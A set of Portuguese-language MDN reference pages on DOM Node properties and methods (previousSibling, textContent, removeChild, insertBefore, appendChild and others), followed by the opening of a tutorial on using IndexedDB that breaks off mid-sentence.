{"title":"Node.previousSibling - APIs da Web","text":"Node.previousSibling\n====================\n\nResumo\n------\n\nRetorna o nó que precede o nó especificado na lista de childNodes do nó pai, retorna null se o nó especificado é o primeiro desta lista.\n\nSintaxe\n-------\n```\n\npreviousNode = node.previousSibling;\n```\n\nExemplo\n-------\n\n\n```js\n// <a><b1 id=\"b1\"/><b2 id=\"b2\"/></a>\n\nalert(document.getElementById(\"b1\").previousSibling); // null\nalert(document.getElementById(\"b2\").previousSibling.id); // \"b1\"\n```\n\nNotas\n-----\n\n Navegador baseados na engine Gecko inserem nós de texto no documento para representar espaços em branco na marcação do fonte.\n Portanto um nó obtido, por exemplo, usando `Node.firstChild` ou `Node.previousSibling` pode fazer referência a um\n espaço em banco ao invés do elemento que o autor pretendia obter.\n\n Veja Whitespace in the DOM (en-US) e\n W3C DOM 3 FAQ: Why are some Text nodes empty?\n Para mais informações.\n\nPara navegar no sentido contrário da lista de nós filhos use Node.nextSibling.\n\nEspecificação\n-------------\n\n* DOM Level 1 Core: previousSibling\n* DOM Level 2 Core: previousSibling\n* DOM Level 3 Core: previousSibling"}
{"title":"Node.textContent - APIs da Web","text":"Node.textContent\n================\n\nA propriedade **`textContent`** da interface `Node` representa o conteúdo de texto de um nó e dos seus descendentes.\n\n**Nota:** `textContent` e `HTMLElement.innerText` são facilmente confundidos, mas os dois possuem importantes diferenças entre sí.\n\nSintaxe\n-------\n\n\n```js\nvar text = Node.textContent;\nNode.textContent = string;\n```\n\n### Valor de retorno\n\nUma `String` ou `null`\n\nDescrição\n---------\n\nAo obter valores desta propriedade:\n\n* Se o nó for um document (en-US), um DOCTYPE, ou uma notation, o `textContent` retornará `null`. (Para se obter todo o texto e os dados CDATA (en-US) do documento inteiro, você poderá usar `document.documentElement.textContent`.)\n* Se o nó for uma seção CDATA (en-US), comentário, instrução de processamento, ou um text node (en-US), o `textContent` retornará o texto dentro do nó, i.e., o `Node.nodeValue` (en-US).\n* Para outros tipos de nó, o `textContent` retornará a concatenação `textContent` de cada nó filho, exceto comentários e instruções de processamento. Essa é uma string vazia se o nó não tiver filhos.\n\nDefinir valores `textContent` em um nó, remove todos os nós filhos e os substituem por um único nó de texto cujo o valor é a string inserida.\n\n### Diferenças para o innerText\n\nNão fique confuso pelas diferenças entre o `Node.textContent` e o `HTMLElement.innerText`. Apesar dos nomes parecerem similares, eles possuem importantes diferenças:\n\n* `textContent` obtém o conteúdo de todos os elementos, incluindo os elementos `<script>` e `<style>`. por outro lado, o `innerText` mostra apenas os elementos para \"leitura humana\".\n* `textContent` retorna todos os elementos de um nó. Por outro lado, o `innerText` é ciente da estilização e não retorna elementos de texto \"escondidos\". Além disso, como o `innerText` leva em consideração os estilos CSS, a leitura do valor de `innerText` dispara um reflow para assegurar a atualização dos estilos computados. (Reflows podem ser computacionalmente caros, e devem ser evitados quando for possível.)\n* ao contrário do `textContent`, alterar o `innerText` no Internet Explorer (versão 11 e anteriores) remove os nós filhos do elemento e, *destroi permanentemente* todos os nós de texto descendentes. Isso torna impossível inserir novamente os nós em qualquer outro elemento ou no mesmo elemento.\n### Diferenças para o innerHTML\n\nO `Element.innerHTML` retorna HTML, Como seu próprio nome indica. As vezes as pessoas usam o `innerHTML` para obter ou escrever textos dentro de um elemento, mas o `textContent` possui melhor performance pois seus valores não são analisados como HTML. Além do mais, utilizar `textContent` pode prevenir ataques XSS (en-US).\n\nExemplos\n--------\n\nDado o seguinte fragmento HTML:\n\n\n```html\n<div id=\"divA\">Isto é<span>algum</span> texto!</div>\n```\n\n\n... Você pode usar `textContent` para obter o conteúdo de texto do elemento:\n\n\n```js\nlet text = document.getElementById(\"divA\").textContent;\n// Agora a variável de texto é: 'Isto é algum texto!'\n```\n\n\n... Ou definir o conteúdo de texto do elemento:\n\n\n```js\ndocument.getElementById(\"divA\").textContent = \"Este texto é diferente!\";\n// O HTML de divA agora é:\n// <div id=\"divA\">Este texto é diferente!</div>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # dom-node-textcontent |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `HTMLElement.innerText`\n* `Element.innerHTML`\n* More on differences between `innerText` and `textContent` (blog post)"}
{"title":"Node.contains - APIs da Web","text":"Node.contains\n=============\n\nSumário\n-------\n\nIndica se um nó é um descendente de um dado nó.\n\nSintaxe\n-------\n```\n\nnode.contains( otherNode )\n```\n\n\n* `node` é o nó que está sendo comparado.\n* `otherNode` é o nó contra o qual está sendo comparado.\n\nO valor de retorno é `true` se `otherNode` é um descendente de um nó ou o próprio nó. Caso contrário o valor de retorno é `false`.\n\nExemplo\n-------\n\nEsta função verifica se um elemento está no corpo da página. As `contains` is inclusive and determining if the body contains itself isn't the intention of `isInPage` this case explicitly returns `false`.\n\n\n```js\nfunction isInPage(node) {\n  return node === document.body ? false : document.body.contains(node);\n}\n```\n\n\n* `node` é o nó que desejamos verificar se está no `<body>`.\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-contains① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Node.hasChildNodes` (en-US)"}
{"title":"Node.removeChild - APIs da Web","text":"Node.removeChild\n================\n\nSumário\n-------\n\nRemove um nó filho do DOM. Devolve o nó removido.\n\nSintaxe\n-------\n```\n\nvar filhoRemovido = elemento.removeChild(filho);\nelemento.removeChild(filho);\n```\n\n\n* `filho` é o nó filho a ser removido do DOM.\n* `elemento` é o nó pai de `filho`.\n* `filhoRemovido` contém uma referência ao nó filho removido. `filhoRemovido` === `filho`.\n\nO nó filho removido ainda existe em memória, mas não é mais parte do DOM. Você pode reutilizar o nó removido mais tarde no seu código por meio da referência `filhoRemovido`.\n\nSe `filho` não for um filho do nó `elemento`, o método lança uma exceção. Isto também acontecerá se `filho` era, de fato, um filho de `elemento` no momento da chamada, mas foi removido por um manipulador de eventos invocado enquanto o elemento estava sendo removido (por exemplo, blur).\n\nExemplos\n--------\n```\n\n<!--Código HTML de exemplo-->\n\n<div id=\"topo\" align=\"center\">\n  <div id=\"interno\"></div>\n</div>\n```\n\n\n\n```js\n// Removendo um elemento específico quando se conhece seu pai\nvar d = document.getElementById(\"topo\");\nvar d_interno = document.getElementById(\"interno\");\nvar noRemovido = d.removeChild(d_interno);\n```\n\n\n\n```js\n// Removendo um elemento específico sem precisar especificar seu pai\nvar no = document.getElementById(\"interno\");\nif (no.parentNode) {\n  no.parentNode.removeChild(no);\n}\n```\n\n\n\n```js\n// Removendo todos os nós filhos de um elemento\nvar elemento = document.getElementById(\"topo\");\nwhile (elemento.firstChild) {\n  elemento.removeChild(elemento.firstChild);\n}\n```\n\nEspecificação\n-------------\n\n* DOM Level 1 Core: removeChild\n* DOM Level 2 Core: removeChild\n* DOM Level 3 Core: removeChild\nVeja também\n-----------\n\n* `Node.replaceChild`\n* `Node.parentNode`"}
{"title":"Node.firstChild - APIs da Web","text":"Node.firstChild\n===============\n\n**`Node.firstChild`** é uma propriedade do tipo somente leitura que retorna o node (nó) do primeiro elemento filho de uma árvore DOM ou null no caso do elemento não ter filhos (children).\n\nSyntax\n------\n```\n\nvar childNode = node.firstChild;\n```\n\n\n**node:** elemento node (nó pai) de referência para busca do seu primeiro filho (firstChild) considerada a estrutura DOM.\n\n**childNode:** elemento node (nó filho) considerado como primeiro filho (firstChild) de node (pai).\n\nDescrição\n---------\n\nchildNode é uma referência para o primeiro filho (node) de uma estrutura DOM, um node (nó) que não tem filhos retornará null.\n\nExemplo\n-------\n\nEste exemplo demonstra o uso do firstChild e como os espaços em branco \"whitespace\" de um node (nó) podem interferir.\n\n\n```html\n<p id=\"para-01\">\n  <span>First span</span>\n</p>\n\n<script type=\"text/javascript\">\n var p01 = document.getElementById(\"para-01\");\n console.log(p01.firstChild.nodeName);\n</script>\n```\n\n\nNo exemplo acima, o console.log() deverá exibir '#text' porque o nó de texto inserido mantém espaços em branco 'whitespace' entre a tag <p id=\"para-01\"> e a tag <span>. Qualquer espaço em branco poderá causar '#text'.\n\n**Nota:** \"Tabs\" também podem causar esse comportamento.\n\nSe os espaços em branco for removidos do código, o '#text' não será mais considerado e a tag <span> se tornará o primeiro filho firstChild do parágrafo, conforme exemplo abaixo.\n\n\n```html\n<p id=\"para-01\"><span>First span</span></p>\n\n<script type=\"text/javascript\">\n var p01 = document.getElementById(\"para-01\");\n console.log(p01.firstChild.nodeName);\n</script>\n```\n\n\nAgora o console.log() irá exibir 'SPAN'.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-firstchild① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Node.childNodes - APIs da Web","text":"Node.childNodes\n===============\n\nA propriedade somente leitura **`Node.childNodes`** retorna uma *coleção viva* de nós filhos de um dado elemento.\n\nSintaxe\n-------\n```\n\nvar listaNos = noReferencia.childNodes;\n```\n\n\n*listaNos é uma coleção ordenada de objetos node que são filhos do elemento corrente. Se o elemento não tem filhos, então listaNos não contém nenhum nó.*\n\nA listaNos é uma variável que armazena a lista de nós de childNodes. O tipo dessa lista é `NodeList`.\n\nExemplo\n-------\n\n\n```js\n// parg é uma referência de objeto a um elemento <p>\n\nif (parg.hasChildNodes()) {\n  // Primeiramente verificamos se o objeto não está vazio, se o objeto tem nós filhos\n  var filhos = parg.childNodes;\n\n  for (var i = 0; i < filhos.length; i++) {\n    // fazer algo com cada filho em filhos[i]\n    // NOTE: A lista é viva - adicionar ou remover filhos altera a lista\n  }\n}\n```\n\n\n---\n\n\n```js\n// Esta é uma forma para remover todos os filhos de um nó\n// box é uma referência de objeto para um elemento com filhos\n\nwhile (box.firstChild) {\n  // A lista é VIVA, então ela re-indexará a cada chamada\n  box.removeChild(box.firstChild);\n}\n```\n\nNotas\n-----\n\nOs itens na coleção de nós são objetos, não strings. Para recuperar dados dos objetos dos nós, você deve usar suas propriedades (e.g., `noReferencia.childNodes[1].nodeName` para recuperar o nome, etc.).\n\nO objeto `document` tem 2 filhos: a declaração Doctype declaration e o elemento raiz, tipicamente referido como `documentElement`. (Em documentos (X)HTML este é o elemento `HTML`)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-childnodes① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Node.firstChild`\n* `Node.lastChild`\n* `Node.nextSibling`\n* `Node.previousSibling`\n* `ParentNode.children` (en-US)"}
{"title":"Node.parentNode - APIs da Web","text":"Node.parentNode\n===============\n\n**`Node.parentNode`** é uma propriedade DOM somente leitura que retorna o nó (node) parente de um Node referenciado na árvore DOM. É extremamente aconselhável que você conheça a estrutura DOM para um melhor estudo e aprendizado.\n\nSyntax\n------\n```\n\nparentNode = node.parentNode\n```\n\n\n`parentNode` é o node parente do node referenciado. O parente de um elemento é um Element node, um Document node, ou um DocumentFragment node. Será muito complicado entender tudo isso sem conhecer a estrutura DOM e seus Elements.\n\nExemplo\n-------\n\n\n```js\n// Exemplo de como obter um elemento pai\nparente = node.parentNode; // Retorna o elemento pai\n\n// Obtém o primeiro <li> de uma lista\nvar li = document.getElementsById(\"li-first\");\n// A partir do <li> obtido, obtém o element <ul>\nvar ul = li.parentNode;\n\n// Estrutura com parágrafos dentro de uma div\nvar p = document.getElementsByTagName(\"p\");\nvar div = p[0].parentNode;\n\nif (node.parentNode) {\n  // remove um node da árvore (estrutura) DOM, a menos que\n  // ele já não exista não estrutura\n  node.parentNode.removeChild(node);\n}\n```\n\nNotas\n-----\n\n`Document` e `DocumentFragment` nodes (en-US) nunca podem ter um node parent, sendo assim `parentNode` sempre retornará `null`. Também retornará null se o node já tiver sido criado e não ainda não estiver anexado à estrutura DOM.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-parentnode① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Node.firstChild`\n* `Node.lastChild`\n* `Node.childNodes`\n* `Node.nextSibling`\n* `Node.previousSibling`\n* `Node.removeChild`"}
{"title":"Node.lastChild - APIs da Web","text":"Node.lastChild\n==============\n\n**`Node.lastChild`** é uma propriedade do tipo somente leitura (read-only) que retorna o último elemento filho (node) de uma estrutura DOM. Se seu parentNode for um Element, ele retornará um Element node, um text node, ou um comment node. Retornará null se o elemento de referência não tiver elementos filhos child. É extremamente recomendável que você conheça a estrutura DOM para um melhor aprendizado e entendimento.\n\nSyntax\n------\n```\n\nvar last_child = element.lastChild\n```\n\nExemplo\n-------\n\n\n```js\n// Obtém um elemento <ul>\nvar ul = document.getElementById(\"lista\");\n\n// Obtém o último <li> pertencente a estrutura <ul> obtida\nvar li_last = ul.lastChild;\n```\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-lastchild① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Node.insertBefore - APIs da Web","text":"Node.insertBefore\n=================\n\nO método **`Node.insertBefore()`** insere um nó antes do nó de referência como um filho de um nó pai especificado. Se o filho especificado for uma referência a um nó existente no documento, `insertBefore()` o moverá de sua posição atual para a nova posição (não há necessidade de remover o nó de seu nó pai antes de anexá-lo a outro nó).\n\nIsso significa que um nó não pode estar em dois pontos do documento simultaneamente. Portanto, se o nó já tiver um pai, o nó será removido pela primeira vez e inserido na nova posição. O `Node.cloneNode()` pode ser usado para fazer uma cópia do nó antes de anexá-lo ao novo pai. Note que as cópias feitas com `cloneNode()` não serão automaticamente mantidas em sincronia.\n\nSe o nó de referência for `null`, o nó especificado será incluído no final da lista de filhos do nó pai especificado.\n\nSe o filho especificado for um `DocumentFragment`, todo o conteúdo do `DocumentFragment` será movido para a lista de filhos do nó pai especificado.\n\nSintaxe\n-------\n```\n\nvar elementoInserido = elementoPai.insertBefore(novoElemento, elementoDeReferencia);\n```\n\n\n* `elementoInserido` O nó sendo inserido, que é `novoElemento`\n* `elementoPai` Pai do nó recentemente inserido.\n* `novoElemento` O nó a ser inserido.\n* `elementoDeReferencia` O nó antes do qual o `novoElemento` será inserido.\n\nSe *elementoDeReferencia* for `null`, *novoElemento* será inserido no fim da lista de nós filhos.\n\n**Nota:** `elementoDeReferencia` não é um parâmetro opcional - você deve passar explicitamente um `Node` ou `null`. Deixar de fornecer ou passar valores inválidos pode ter comportamento diferente em diferentes versões de navegadores.\n\n### Return value\n\nO valor retornado é o filho incluído, exceto quando `newNode` é um `DocumentFragment`, caso em que o `DocumentFragment` vazio é retornado.\n\nExemplo\n-------\n\n\n```html\n<div id=\"elementoPai\">\n  <span id=\"elementoFilho\">foo bar</span>\n</div>\n\n<script>\n // Cria um novo elemento <span> vazio\n var sp1 = document.createElement(\"span\");\n\n // Guarda a referência do elemento atraś do qual nos queremos inserir o novo elemento\n var sp2 = document.getElementById(\"elementoFilho\");\n // Guarda a referência do elemento pai\n var divPai = sp2.parentNode;\n\n // Insere o novo elemento no DOM antes de sp2\n divPai.insertBefore(sp1, sp2);\n</script>\n```\n\n\nNão existe um método `insertAfter`. Mas ele pode ser emulado combinando o método `insertBefore` com `nextSibling` (en-US).\n\nNo exemplo anterior, `sp1` poderia ser inserido após `sp2` desta forma:\n```\n\ndivPai.insertBefore(sp1, sp2.nextSibling);\n```\n\n\nSe `sp2` não possuir um próximo nó, significa que ele deve ser o último filho — `sp2.nextSibling` retorna `null`, e `sp1` é inserido ao fim da da lista de nós filhos (logo após sp2).\n\nExemplo 2\n---------\n\nInserir um elemento antes do primeiro nó filho, usando a propriedade firstChild (en-US).\n\n\n```js\n// Guarda a referêncis do elemento no quela nóe queremos inserir o novo nó\nvar elementoPai = document.getElementById(\"elementoPai\");\n// Guarda a referência do primeiro filho\nvar primeiroFilho = elementoPai.firstChild;\n\n// Cria um novo elemento\nvar novoElemento = document.createElement(\"div\");\n\n// Insere o novo elemento antes do primeiro filho\nelementoPai.insertBefore(novoElemento, primeiroFilho);\n```\n\n\nQuando o elemento não possui o primeiro filho, então `firstChild` é `null`. O elemento ainda será inserido no pai, mas após o último filho. Pois se o elemento pai não possui primeiro filho, ele também não possui o último filho. Conseqüentemente, o novo elemento será o único elemento após a inserção.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # dom-node-insertbefore |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Node.nextSibling - APIs da Web","text":"Node.nextSibling\n================\n\nResumo\n------\n\nRetorna o nó seguinte ao especificado dentro do lista de filhos do seu pai(`childNodes`), ou `null` se o nó especificado for o último nó da lista.\n\nSintaxe\n-------\n```\n\nproximoNo = no.nextSibling\n```\n\nExemplo\n-------\n\n\n```html\n<div id=\"div-01\">Aqui esta a div-01</div>\n<div id=\"div-02\">Aqui esta a div-02</div>\n\n<script type=\"text/javascript\">\n var el = document.getElementById(\"div-01\").nextSibling;\n\n document.write(\"<p>Nós irmãos de div-01</p><ol>\");\n\n while (el) {\n document.write(\"<li>\" + el.nodeName + \"</li>\");\n el = el.nextSibling;\n }\n\n document.write(\"</ol>\");\n</script>\n\n<!--\n O seguinte texto será escrito na página quando ela carregar:\n\n Nós irmãos de div-01\n\n 1. #text\n 2. DIV\n 3. #text\n 4. SCRIPT\n 5. P\n 6. OL\n-->\n```\n\n\nNo exemplo acima, pode ser visto que nós `#text` são inseridos no DOM onde espaços em branco aparecem na marcação entre as tags (ex.: após o fechamento da tag de um elemento e antes da abertura da próxima tag). Nenhum espaço em branco é criado entre elementos inseridos pelo comando `document.write`.\n\nA possível inclusão de nós de texto no DOM deve ser permitida quando navegar pelo mesmo usando `nextSibling`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-nextsibling① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Node.appendChild - APIs da Web","text":"Node.appendChild\n================\n\nResumo\n------\n\nAdiciona um nó ao final da lista de filhos de um nó pai especificado. Se o nó já existir no documento, ele é removido de seu nó pai atual antes de ser adicionado ao novo pai.\n\nSintaxe\n-------\n```\n\nvar filho = elemento.appendChild(filho);\n```\n\n\n* `elemento` é o elemento (en-US) pai.\n* `filho` é o nó a ser adicionado como filho de `elemento`. Também é devolvido.\nDescrição\n---------\n\nO método `appendChild` devolve uma referência ao nó adicionado.\n\nExemplo\n-------\n\n\n```js\n// Cria um novo elemento de parágrafo e adiciona-o ao final do documento\nvar p = document.createElement(\"p\");\ndocument.body.appendChild(p);\n```\n\nNotas\n-----\n\nSe `filho` é uma referência a um nó existente no documento, `appendChild` vai movê-lo de sua posição atual para a nova posição (i.e, não é necessário remover o nó de seu pai atual antes de adicioná-lo a outro nó).\n\nIsso também significa que um nó não pode estar em dois lugares do documento ao mesmo tempo. Assim, se o nó já tem um pai, ele é primeiro removido para, *só então*, ser adicionado na nova posição.\n\nVocê pode usar o método `Node.cloneNode` para criar uma cópia do nó antes de adicioná-lo ao novo pai. (Note que cópias feitas com o método `cloneNode` **não** serão mantidas sincronizadas automaticamente)\n\nEste método não permite mover nós entre documentos diferentes. Se você quiser adicionar um nó de um documento diferente (por exemplo para mostrar o resultado de uma requisição AJAX), você precisa primeiro usar o método `document.importNode`.\n\n`appendChild()` é um dos métodos fundamentais da programação para a web usando o DOM. O método `appendChild()` insere um novo nó na estrutura do DOM de um documento, e é a segunda parte do processo criar-e-adicionar tão importante na construção de páginas web programaticamente.\n\nEspecificação\n-------------\n\n* DOM Level 3 Core: appendChild\nVer também\n----------\n\n* `Node.removeChild`\n* `Node.replaceChild`\n* `Node.insertBefore`\n* `Node.hasChildNodes` (en-US)"}
{"title":"Node.isConnected - APIs da Web","text":"Node.isConnected\n================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since January 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade somente-leitura **`isConnected`** da interface `Node` retorna um boleano indicando se um nó está conectado (direta ou indiretamente) ao contexto do objeto, por exemplo o objeto `Document` no caso da DOM normal, ou o `ShadowRoot` (en-US) no caso de uma shadow DOM.\n\nSintaxe\n-------\n```\n\nvar isItConnected = nodeObjectInstance.isConnected\n```\n\n### Retorno\n\nUm `Boolean` (en-US) que é `true` se o nó está conectado ao contexto relevante do objeto, e `false` se não está.\n\nExamples\n--------\n\n### Standard DOM\n\nUm exemplo em um DOM padrão:\n\n\n```js\nlet test = document.createElement(\"p\");\nconsole.log(test.isConnected); // Returns false\ndocument.body.appendChild(test);\nconsole.log(test.isConnected); // Returns true\n```\n\n### Shadow DOM\n\nUm exemplo em um Shadow DOM:\n\n\n```js\n// Cria um raíz Shadow\nvar shadow = this.attachShadow({ mode: \"open\" });\n\n// Cria um CSS para aplicar a Shadow DOm\nvar style = document.createElement(\"style\");\nconsole.log(style.isConnected); // retorna false\n\nstyle.textContent = `\n.wrapper {\n position: relative;\n}\n\n.info {\n font-size: 0.8rem;\n width: 200px;\n display: inline-block;\n border: 1px solid black;\n padding: 10px;\n background: white;\n border-radius: 10px;\n opacity: 0;\n transition: 0.6s all;\n positions: absolute;\n bottom: 20px;\n left: 10px;\n z-index: 3\n}\n`;\n\n// Anexa a estilização criada a Shadow DOM.\n\nshadow.appendChild(style);\nconsole.log(style.isConnected); // retorna true\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| DOM Standard # ref-for-dom-node-isconnected① |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Usando IndexedDB - APIs da Web","text":"Usando IndexedDB\n================\n\nIndexedDB é uma forma de armazenar dados no navegador do usuário. Com ele você pode criar aplicações web com possibilidade de fazer query sem necessidade de conexão, suas aplicações podem funcionar tanto online quanto offline.\n\nSobre esse documento\n--------------------\n\nEsse tutorial utiliza a API assíncrona do IndexedDB. Se você não está familiarizado com IndexedDB, você pode ler Conceitos básicos sobre IndexedDB (en-US).\n\nPara a documentação de referência, veja o artigo sobre API IndexedDB, pois nele contém os tipos de objetos utilizados no IndexedDB, como também métodos da API, tanto síncrona como assíncrona.\n\nPadrão básico\n-------------\n\nO IndexedDB encoraja o uso do seguinte padrão:\n\n1. Abrir um banco de dados.\n2. Criar um ObjectStore ao atualizar o banco.\n3. Iniciar uma transação e e faz um request para fazer alguma operação no banco, como adicionar ou obter dados.\n4. Esperar a operação ser completada ouvindo algum evento DOM.\n5. Fazer algo com o resultado da query (que pode ser obtida pelo objeto request).\n\nOK, então, agora com esses conceitos em mente, nós podemos fazer coisas mais concretas.\n\nCriando e estruturando o banco\n------------------------------\n\nPelo fato da especificação ainda estar evoluindo, as implementações do IndexedDB tem prefixos de navegadores. Os navegadores podem ter implementações diferentes da API IndexedDB até a especificação ser consolidada. Mas uma vez que tudo chegar a um consenso, os navegadores tirarão seus prefixos. Atualmente, algumas implementações removeram o prefixo: Internet Explorer 10, Firefox 16, Chrome 24. Quando eles usam prefixo, navegadores baseados no Gecko usam o prefixo `moz`, enquanto os navegadores baseados no WebKit usam o prefixo `webkit`.\n\n### Usando uma versão experimental do IndexedDB\n\nSe você quiser testar seu código em navegadores que usam prefixo, você pode usar o código abaixo:\n\n\n```js\n// Na linha abaixo, você deve incluir os prefixos do navegador que você vai testar.\nwindow.indexedDB =\n  window.indexedDB ||\n  window.mozIndexedDB ||\n  window.webkitIndexedDB ||\n  window.msIndexedDB;\n// Não use \"var indexedDB = ...\" se você não está numa function.\n// Posteriormente, você pode precisar de referências de algum objeto window.IDB\\*:\nwindow.IDBTransaction =\n  window.IDBTransaction ||\n  window.webkitIDBTransaction ||\n  window.msIDBTransaction;\nwindow.IDBKeyRange =\n  window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;\n// (Mozilla nunca usou prefixo nesses objetos, então não precisamos window.mozIDB\\*)\n```\n\n\nTome cuidado, implementações prefixadas podem estar com bugs ou implementando especificações antigas. Portanto, não é recomendado usar em produção. É preferível não usar IndexedDB em navegadores antigos:\n\n\n```js\nif (!window.indexedDB) {\n  window.alert(\n    \"Seu navegador não suporta uma versão estável do IndexedDB. Alguns recursos não estarão disponíveis.\",\n  );\n}\n```\n\n### Abrindo um banco\n\nComeçamos todo o processo assim:\n\n\n```js\n// Abrindo o banco de dados\nvar request = window.indexedDB.open(\"DBteste\", 3);\n```\n\n\nAbrir um banco é como qualquer outra operação — Você tem que \"requerer (request)\".\n\nA requisição de abertura não abre o banco ou inicia a transação. A chamada da função `open()` retorna um objeto `IDBOpenDBRequest` (en-US) com o resultado (success) ou um erro que você terá que tratar. Muitas outras funções assíncronas no IndexedDB fazem a mesma coisa - retornam um objeto `IDBRequest` (en-US) com o resultado ou erro. O resultado para a função open é uma instância de `IDBDatabase.`\n\nO segundo parâmetro para o método open é a versão do banco. A versão do banco determina seu schema — os registros no banco e sua estrutura. Se o banco não existe ainda, ele é criado pela operação `open`, então o evento `onupgradeneeded` é chamado e você cria o schema do banco nesse evento. Se o banco existe mas você está fornecendo um novo número de versão, o evento `onupgradeneeded` é chamado imediatamente, permitindo você tratar a atualização do schema. Para mais informações sobre isso veja Updating the version of the database.\n\n**Aviso:** O número de versão é um `unsigned long long`, o que significa que ele pode ver um inteiro muito grande. Isso também significa que você não pode usar float, pois ele será convertido em um inteiro pequeno e a transação pode não acontecer, ou o evento `upgradeneeded` pode não ser chamado. Então se você usar 2.4 como versão:\n\n\n```js\nvar request = indexedDB.open(\"DBteste\", 2.4); // não faça isso, pois a versão será convertida para 2.\n```\n\n\n#### Gerenciando handlers\n\nA primeira coisa que você vai querer fazer em quase todos os requests é tratar os casos de success e error:\n\n\n```js\nrequest.onerror = function (event) {\n  // Fazer algo com request.errorCode!\n};\nrequest.onsuccess = function (event) {\n  // Fazer algo com request.result!\n};\n```\n\n\nQual das duas funções, `onsuccess()` ou `onerror()`, será chamada? Se tudo correr bem, o evento de sucesso (que é um evento DOM event com propriedade `type` setada `\"success\"`) é chamado com `request` como seu `target`. Uma vez chamado, a função `onsuccess()` no `request` é chamada com o evento de sucesso em seu contexto. Por outro lado, se acontecer algum problema, um evento de erro (que é um evento DOM com a propriedade `type` setada para `\"error\"`) é chamado no `request`. Então a função `onerror()` com o evento erro em seu contexto.\n\nA API IndexedDB é feita para minimizar a necessidade de manipular erros, então você não fará muitos eventos de erro (ao menos, se você usar a API!) No caso de abrir um banco, portanto, existe algumas condições comuns para eventos de erro. O problema mais comum é o usuário não dar permissão para criar o banco. Um dos principais objetivos do IndexedDB é permitir muitos dados serem armazenados para uso offline. (Para aprender mais sobre o quanto cada navegador pode armazenar, veja Storage limits).\n\nObviamente, navegadores não querem armazenar dados que poluem seu computador, então o navegador mostra uma mensagem ao usuário na primeira vez que um aplicativo tenta abrir o IndexedDB. O usuário pode escolher permitir ou negar acesso. O IndexedDB também é desabilitado no modo privado dos navegadores (ctrl+shift+N no Chrome e ctrl+shift+P no Firefox). Isso acontece porque o intuito do modo privado é não deixar rastros na navegação.\n\nAgora, assumindo que o usuário aprovou seu request para criar o banco, e você recebeu success; Qual é o próximo passo? O request foi gerado com a chamada de `indexedDB.open()`, e `request.result` é uma instância de `IDBDatabase`, e você definitivamente vai querer armazenar isso para usar depois. Veja abaixo:\n\n\n```js\nvar db;\nvar request = indexedDB.open(\"DBteste\");\nrequest.onerror = function (event) {\n  alert(\"Você não habilitou minha web app para usar IndexedDB?!\");\n};\nrequest.onsuccess = function (event) {\n  db = request.result;\n};\n```\n\n\n#### Tratando Erros\n\nComo mencionado acima, o evento de erro é chamado quando o request dá erro. Se você quer evitar manipuladores de erro a cada request, você pode adicionar um único manipulador de erro no objeto db, como abaixo:\n\n\n```js\ndb.onerror = function (event) {\n  // Função genérica para tratar os erros de todos os requests desse banco!\n  alert(\"Database error: \" + event.target.errorCode);\n};\n```\n\n\nUm dos erros mais comuns ao abrir o banco é `VER_ERR`. Ele indica que a versão do banco existente é maior que a versão que você quer abrir.\n\n### Criando ou atualizando a versão do banco\n\nQuando você cria um novo banco ou aumenta sua versão, o evento `onupgradeneeded` será chamado. No manipulador deste evento, você deve criar o objectStore necessário para a versão do banco:\n\n\n```js\n// Este evento é implementado somente em navegadores mais recentes\nrequest.onupgradeneeded = function (event) {\n  var db = event.target.result;\n\n  // cria um objectStore para esse banco\n  var objectStore = db.createObjectStore(\"nome\", { keyPath: \"minhaChave\" });\n};\n```\n\n\nNeste caso, o banco já terá objectStores de suas versões anteriores, então você não terá que criar esses objectStores de novo. Você somente precisará criar um novo objectStore qualquer, ou deletar objectStores da versão anterior que não serão utilizados. Se você precisa mudar um objectStore existente (mudar o `keyPath, por exemplo`), então você precisa deletar o objectStore antigo e criá-lo novamente com as novas opções. (Note que isso irá deletar a informação no objectStore! Se você precisa salvar a informação, você deve ler isso e salvá-lo em algum lugar antes de atualizar o banco.)\n\nBlink/Webkit suporta a versão atual da especificação, nas versões do Chrome 23+ e Opera 17+; IE10+ também suporta. Outros motores e versões antigas não implementam a versão atual da especificação e não suportam a assinatura `indexedDB.open(name, version).onupgradeneeded` ainda. Para mais informação sobre como atualizar a versão do banco em Webkit/Blink, veja IDBDatabase reference article.\n\n### Estruturando o banco\n\nAgora a estrutura do banco. IndexedDB usa 